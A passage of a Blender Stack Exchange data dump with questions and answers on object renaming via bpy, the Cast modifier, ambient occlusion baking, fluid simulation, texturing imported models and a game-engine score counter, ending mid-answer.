  <row Id="38018" PostTypeId="2" ParentId="38015" CreationDate="2015-09-04T15:50:16.550" Score="3" Body="&lt;p&gt;When duplicating &lt;code&gt;Cube&lt;/code&gt;, it will create &lt;code&gt;Cube.001&lt;/code&gt;, there is no feature that i'm aware of to allow you to specify the desired duplicate name or convention.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is possible to rename using the reference to the object after  duplication, because the duplicate becomes the &lt;code&gt;active_object&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# with one object selected.&#xA;bpy.ops.object.duplicate(linked=False, mode='DUMMY')&#xA;obj = bpy.context.scene.active_object&#xA;obj.name = desired_name&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or a mass rename if that makes sense&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for obj in bpy.data.objects:&#xA;    if obj.type == 'MESH':&#xA;       if '.' in obj.name:&#xA;          # assuming it only has one period in the name.&#xA;          basename, postfix = obj.name.split('.')&#xA;          obj.name = postfix + '.' + basename&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-09-04T15:56:00.407" LastActivityDate="2015-09-04T15:56:00.407" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38019" PostTypeId="1" AcceptedAnswerId="38021" CreationDate="2015-09-04T16:05:45.063" Score="6" ViewCount="906" Body="&lt;p&gt;I want to cast a sphere to a cube, but when I add the modifier, it seems like a cilinder inside a cube.... why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/whcQd.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/whcQd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Cast modifier settings are: Factor=1, Radius=0, Size=0 , as I saw on a guide (I want to keep the same dimensions)&lt;/p&gt;&#xA;" OwnerUserId="17904" LastEditorUserId="15140" LastEditDate="2015-09-04T17:01:06.770" LastActivityDate="2015-09-05T18:52:26.817" Title="Why casting a sphere to a cube give cylinder+cube?" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38020" PostTypeId="1" CreationDate="2015-09-04T16:18:01.360" Score="3" ViewCount="373" Body="&lt;p&gt;I'm having a weird problem with my Ambient Occlusion map. For some reason some bits are completely black (in places where shading wouldn't make any sense). Every other place I check says that I have to recalculate normals, but that doesn't have any effect. How can I fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/pWJHN.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pWJHN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16007" LastActivityDate="2015-09-05T13:20:33.837" Title="Fixing Ambient Occlusion?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38021" PostTypeId="2" ParentId="38019" CreationDate="2015-09-04T16:28:26.503" Score="8" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ZXcf6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZXcf6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The image above shows a blue mesh with a sphere shape, hereafter the blue sphere.  It is symmetric about the 3 axis similar to a cube.  Note the red faces have a 3 face corner not a 4 face corner. Not a UV Sphere.  The mesh will work symmetrically along x, y, z axis with a cast cuboid modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the image in your original question concentric rings of the UV Sphere are placed along the z-axis.  Speaking about the default situation.  So the there is an asymmetry regarding the z-axis.  So the [cast] modifier mathematics amplifies this asymmetry.  You will get slightly better results if you subdivide your mesh again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can edit the blue sphere in [edit] mode and rotate 90 on the y axis.  The asymmetry deformation will be rotated as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the same blue sphere shaped mesh with a cast modifier.  Note again the red faces which form a 3 face corner of a cube.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/m1D4E.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/m1D4E.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To create a NON-UV sphere shaped mesh.  Create a cube. In [edit] mode loop cut on with 7 or so divisions. Loop Cut on all three axis XYZ.  Menu Transform ..... Transform to Sphere.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, start with cube, transform to sphere shape, cast back to cuboid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additional Notes&#xA;Please welcome Carlo&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Cast modifier&lt;/strong&gt; basically projects the object vertices along their normals to the target shape's surface. It is the same thing you would get by using a Shrinkwrap modifier pointing to a scene object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Imna9.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Imna9.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/BCRiF.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BCRiF.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By enabling Vertex normals in Edit mode, you can see on what surface each vertex will be translated to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RibGTm.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RibGTm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Hnll2m.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Hnll2m.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8xMNBm.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8xMNBm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/YCCq7m.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YCCq7m.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no vertex pointing toward the box's corner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/SkyyM.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SkyyM.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Conclusions:&lt;/strong&gt;&#xA;To better approximate a cube, the starting sphere should have enough vertex density whose vertex normals point to the cube edges and corners. So for better results you can:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Increase the number of vertices&lt;/li&gt;&#xA;&lt;li&gt;Use a different starting topology&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="15140" LastEditDate="2015-09-05T10:00:59.230" LastActivityDate="2015-09-05T10:00:59.230" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="38022" PostTypeId="1" CreationDate="2015-09-04T16:37:09.607" Score="2" ViewCount="309" Body="&lt;p&gt;I'm new to fluid simulations in blender.&#xA;I'm trying to make a simulation of chalice with a fluid dropped on the floor, &#xA;but fluid reacts weird with chalice it escapes mesh of the obstacle in resolution 220 and when the chalice starts to fall (frame 20) fluid do not follow the chalice. Also fluid fly over surface. &lt;a href=&quot;https://drive.google.com/file/d/0B3a3iB0rCeZea18zb2pVakZqT0U/view?usp=sharing&quot; rel=&quot;nofollow&quot;&gt;Link to .blend file&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17906" LastActivityDate="2015-09-05T17:02:41.553" Title="Fluid in moving glass simulation" Tags="&lt;rigid-body-simulation&gt;&lt;fluid-simulation&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38023" PostTypeId="1" CreationDate="2015-09-04T16:48:21.860" Score="2" ViewCount="1906" Body="&lt;p&gt;I have a model I downloaded from Models-Resource which came with a static mesh (.obj) and a rigged mesh (.psk and .dae).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the OBJ, I can split the mesh by material like usual and texture it, no problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However with the PSK &amp;amp; DAE, if I try to split the mesh, it just removes the two that should have shown up, leaving me with only one part of what would have been there with the OBJ.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason why I need to split the meshes instead of just applying the materials to the joined mesh is because Blender only shows the first material, resulting in a really messed up model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help? I'm happy to try and provide more details if you need them.&lt;/p&gt;&#xA;" OwnerUserId="17909" LastActivityDate="2015-09-04T16:48:21.860" Title="How to seperate meshes that are rigged to an armature" Tags="&lt;mesh&gt;&lt;armature&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38024" PostTypeId="1" AcceptedAnswerId="38054" CreationDate="2015-09-04T17:41:29.517" Score="2" ViewCount="494" Body="&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=Q1iTMcsX-Xg&quot; rel=&quot;nofollow&quot;&gt;See this video for project example&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a simple project. I'm trying to create a fluid simulation flow out of a cylinder, but the cylinder has a &quot;childof&quot; constraint, paired to the cube above it. The cylinder moves, but the fluid simulation does not; it stays in the &quot;actual&quot; position of the cylinder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way I can accomplish having the fluid simulation follow the cylinder, even with a childof constraint? Or is there some other way to accomplish this task?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Using Blender 2.75a)&lt;/p&gt;&#xA;" OwnerUserId="14519" LastEditorUserId="14519" LastEditDate="2015-09-04T19:02:02.523" LastActivityDate="2015-09-05T08:45:59.940" Title="Fluid, object, childof constraint animation - won't work" Tags="&lt;fluid-simulation&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38026" PostTypeId="2" ParentId="38017" CreationDate="2015-09-04T18:27:16.143" Score="7" Body="&lt;p&gt;Your character needs some way to count how many walls he has successfully passed. You can do this by making the character count when he passes above or below a wall - because the game ends when he goes through a wall.&lt;/p&gt;&#xA;&lt;p&gt;Before we can fix the problem, we need a simple game.&lt;/p&gt;&#xA;&lt;h2&gt;Setup&lt;/h2&gt;&#xA;&lt;p&gt;I'll start by adding sun lamps, and a ground.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/qZe27.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qZe27.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3&gt;          Ground Plane                 Main Shadow Lamp     Even Lighting&lt;/h3&gt;&#xA;&lt;p&gt;You may be wondering what &amp;quot;Even Lighting&amp;quot; is. It is what I call a setup where you have a few low power sun lamps, one pointing in each direction, elimination no-light zones and harsh shadows. The main Shadow lamp is positioned so it can cast it's shadow on the entire plane.&lt;/p&gt;&#xA;&lt;p&gt;Set your main sun lamp to only cast a shadow in its own layer.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Hq7tf.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Hq7tf.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;This is important for when you add the top plane. Depending on your game setting, the top plane could be a sky, a tunnel roof, the inside of a building, really anything you want it to be.&lt;/p&gt;&#xA;&lt;p&gt;Add a plane to be the top of the world, on a different layer. This is so the shadow lamp will not effect your sky plane, and as a result, the sky will not block all the light.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/wnbgx.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wnbgx.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now we need a character. You could use something as pretty as a mech or a jet fighter, or you could just use a cube. Modeling is usually the funnest part. I'll be using a cube here, because I need to leave something fun for you to do.&lt;/p&gt;&#xA;&lt;p&gt;Add a camera and position it however you want. Parent it to a cube&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/OOyfQ.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OOyfQ.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h2&gt;Important: paint the cube blue.&lt;/h2&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/uMszm.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/uMszm.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;This is an important step, because the awesomeness of your game could be compromised if the cube is not blue. Trust me- I've tried.&lt;/p&gt;&#xA;&lt;p&gt;You can use whatever logic you want on the cube to make it jump, or fly, depending on the setting of your game. If your game is a gun running along the ground and jumping over objects, you may want something as simple as this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/MF5VJ.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MF5VJ.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;However, I'm going to make this cube into a flying spaceship, so I will use this logic setup:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Mclk4.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Mclk4.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;This logic setup limits the distance the cube can fly, so he can not fly below the bottom plane, or above the top plane. I'm also going to do the opposite to the camera. (this is optional)&lt;/p&gt;&#xA;&lt;p&gt;We need to copy the logic from the cube, to the camera.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ybeAn.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ybeAn.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now, we need to modify the logic on the camera.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TBFBS.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TBFBS.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now, the camera will move half as fast as the cube. (camera is parented to the cube so the camera already moved with the cube.) (+1) + (-.5) = .5&lt;/p&gt;&#xA;&lt;p&gt;Now, the camera will move up and down half as fast as the cube&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7OTXH.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7OTXH.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;This provides a more awesome view of the cube.&lt;/p&gt;&#xA;&lt;p&gt;Now we need a wall to emit. We also need a collision object for the cube to detect. this will be how the cube knows when it has successfully passed a wall.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TN9iP.png&quot; rel=&quot;noreferrer&quot; title=&quot;My apologies to GiantCowFilms for using green.&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TN9iP.png&quot; alt=&quot;enter image description here&quot; title=&quot;My apologies to GiantCowFilms for using green.&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The green cube has this logic&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/FqVBu.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FqVBu.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The green cube has these physics properties.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/CJltK.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CJltK.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The wall cube has exactly the same physics properties and logic, except that the wall cube does not have the Boolean property &lt;strong&gt;PassedAnotherWall&lt;/strong&gt;. Instead, it has the Boolean property &lt;strong&gt;Wall&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Now we &lt;strong&gt;Finally&lt;/strong&gt; get to the wall emitter. This is what generates the level as you are playing.&lt;/p&gt;&#xA;&lt;p&gt;I have four empties. one of them (Wall Control Empty) controls the other three. The other three empties are named &lt;strong&gt;Top&lt;/strong&gt;, &lt;strong&gt;Middle&lt;/strong&gt; and &lt;strong&gt;Bottom&lt;/strong&gt;. You can probably guess which is which. This is the collapsed logic that randomly adds the walls.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RU1sG.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RU1sG.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;This is what it looks like expanded.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tS8kE.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tS8kE.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Basically, this logic setup works as follows:&lt;/p&gt;&#xA;&lt;p&gt;Every 75 logic ticks, it randomly selects one of the wall sections that will not be added. every time a wall piece is added, the collision detector cube is also added. Both the wall and the collision detector cubes contain the logic to move past the player, appearing like the player is moving.&lt;/p&gt;&#xA;&lt;p&gt;We need to test this.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/YQCef.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YQCef.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h2&gt;YAY it works!!!!&lt;/h2&gt;&#xA;&lt;p&gt;now we need to make the player cube respond to the wall pieces.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/pPyyk.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pPyyk.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;All we need now is a display to show how many walls the layer has successfully gotten by.&lt;/p&gt;&#xA;&lt;p&gt;Add a text object and parent it to the camera. it should be positioned in a nice spot in front of the camera.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/d8qjK.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/d8qjK.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;We first need to change the font, because the default font will not display in the game engine.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/UAF2L.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UAF2L.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now we can add a little logic and everything should work happily.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ccAY2.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ccAY2.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h1&gt;YAY!!!&lt;/h1&gt;&#xA;&lt;p&gt;there is only one more thing we should change. you can still see the green cube, which should be invisible. Also - I did not press Escape to exit the game engine - I hit a wall, and it exited automatically.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/y1Ita.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/y1Ita.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Final Test&lt;/h1&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/aetzB.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/aetzB.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h2&gt;It Works!!! Yay!!!&lt;/h2&gt;&#xA;&lt;p&gt;If you had any trouble following that, feel free to explore, take apart, reverse engineer, or base your game off of the Blend file.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/470/&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=470&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-09-04T18:27:16.143" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="38030" PostTypeId="1" CreationDate="2015-09-04T19:56:12.447" Score="7" ViewCount="23713" Body="&lt;p&gt;I downloaded a 3d object online and when I imported to blender the whole object just has a black texture. I do have the correct textures in png but I don't know how to use them.&#xA;Here are some pictures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://www.dropbox.com/s/gf3a6m895db2hro/blender-app%202015-09-04%2015-46-37-008.png?dl=1&quot; alt=&quot;blender&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what the download included&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://www.dropbox.com/s/5kfyg7639xwg5no/bandicam%202015-09-04%2015-52-56-460.png?dl=1&quot; alt=&quot;blender&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="17913" LastEditorUserId="47253" LastEditDate="2017-11-21T18:57:59.523" LastActivityDate="2020-09-15T11:49:01.897" Title="Imported .obj just showing a black texture" Tags="&lt;texturing&gt;&lt;import&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="38031" PostTypeId="1" AcceptedAnswerId="38063" CreationDate="2015-09-04T20:58:11.740" Score="2" ViewCount="902" Body="&lt;p&gt;I want to bake &lt;strong&gt;Ambient Occlusion&lt;/strong&gt; Map of my mesh, In &lt;strong&gt;Blender Internal&lt;/strong&gt;, but once it is Baked it is a Single colour. I have no idea why.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/YYyoX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YYyoX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to know on what really the Ambient Occlusion Map depend on, should I adjust my lighting?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: World Settings&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KKL3b.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KKL3b.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SECOND EDIT: My Materials are just default as when you press the &lt;strong&gt;New&lt;/strong&gt; button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xvRWG.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xvRWG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;p.s. My first time baking AO&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I actualy found out now that the Selection to Active was Checked, when I unckecked it everything worked fine, thanks for help Carlo.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="15366" LastEditorUserId="15366" LastEditDate="2015-09-05T11:53:11.127" LastActivityDate="2015-09-05T13:11:16.720" Title="Why is my AO a single colour ? ....grey" Tags="&lt;blender-internal-render-engine&gt;&lt;texture-baking&gt;&lt;baking&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="38032" PostTypeId="1" AcceptedAnswerId="38033" CreationDate="2015-09-04T21:18:55.427" Score="1" ViewCount="764" Body="&lt;p&gt;It seems there are many tools, such as the knife tool, that cause the viewports to lock up when you are &quot;in&quot; the tool. By &quot;lock up&quot; I mean that while in the tool I cannot rotate, pan, or zoom the view. This would be super handy and seems like a no-brainer. Thanks for your help!&#xA;-Ben&lt;/p&gt;&#xA;" OwnerUserId="16492" LastActivityDate="2015-09-04T21:44:52.667" Title="Is there a way to rotate and pan view while in knife tool and other tools that lock the view ports?" Tags="&lt;3d-view&gt;&lt;knife-tool&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="38033" PostTypeId="2" ParentId="38032" CreationDate="2015-09-04T21:44:52.667" Score="1" Body="&lt;p&gt;I figured out my problem. I am using a 3Dconnexion 3D mouse and it does not manipulate my view while a tool is active. The normal mouse/keyboard ways of rotating etc do still work as expected while a tool is active.&lt;/p&gt;&#xA;" OwnerUserId="16492" LastActivityDate="2015-09-04T21:44:52.667" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38035" PostTypeId="2" ParentId="38030" CreationDate="2015-09-04T22:24:11.763" Score="7" Body="&lt;p&gt;You need to create a material. Blender has two different renderers, Blender internal (the old) and Cycles (the new and nowadays standard). Materials are different in these two. I suggest you pick cycles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, make sure you are using cycles. You find the menu in the top bar of blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9hRrp.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9hRrp.png&quot; alt=&quot;switch to cycles&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, select the object and go to the Material tab. A material should be selected for the object. If it not, create it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xUnNL.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xUnNL.png&quot; alt=&quot;create material&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the material was created for Blender Internal, you may have to press &quot;use nodes&quot;. Now, your material is ready to accept a texture map. Press the little button with a dot to the far right of the &quot;Color&quot; field. In the menu that pops up, select &quot;Image Texture&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xPqa8.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xPqa8.png&quot; alt=&quot;add image texture&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now hit open and browse to your texture. You have now created a material with a diffuse shader and an image texture. It should look like 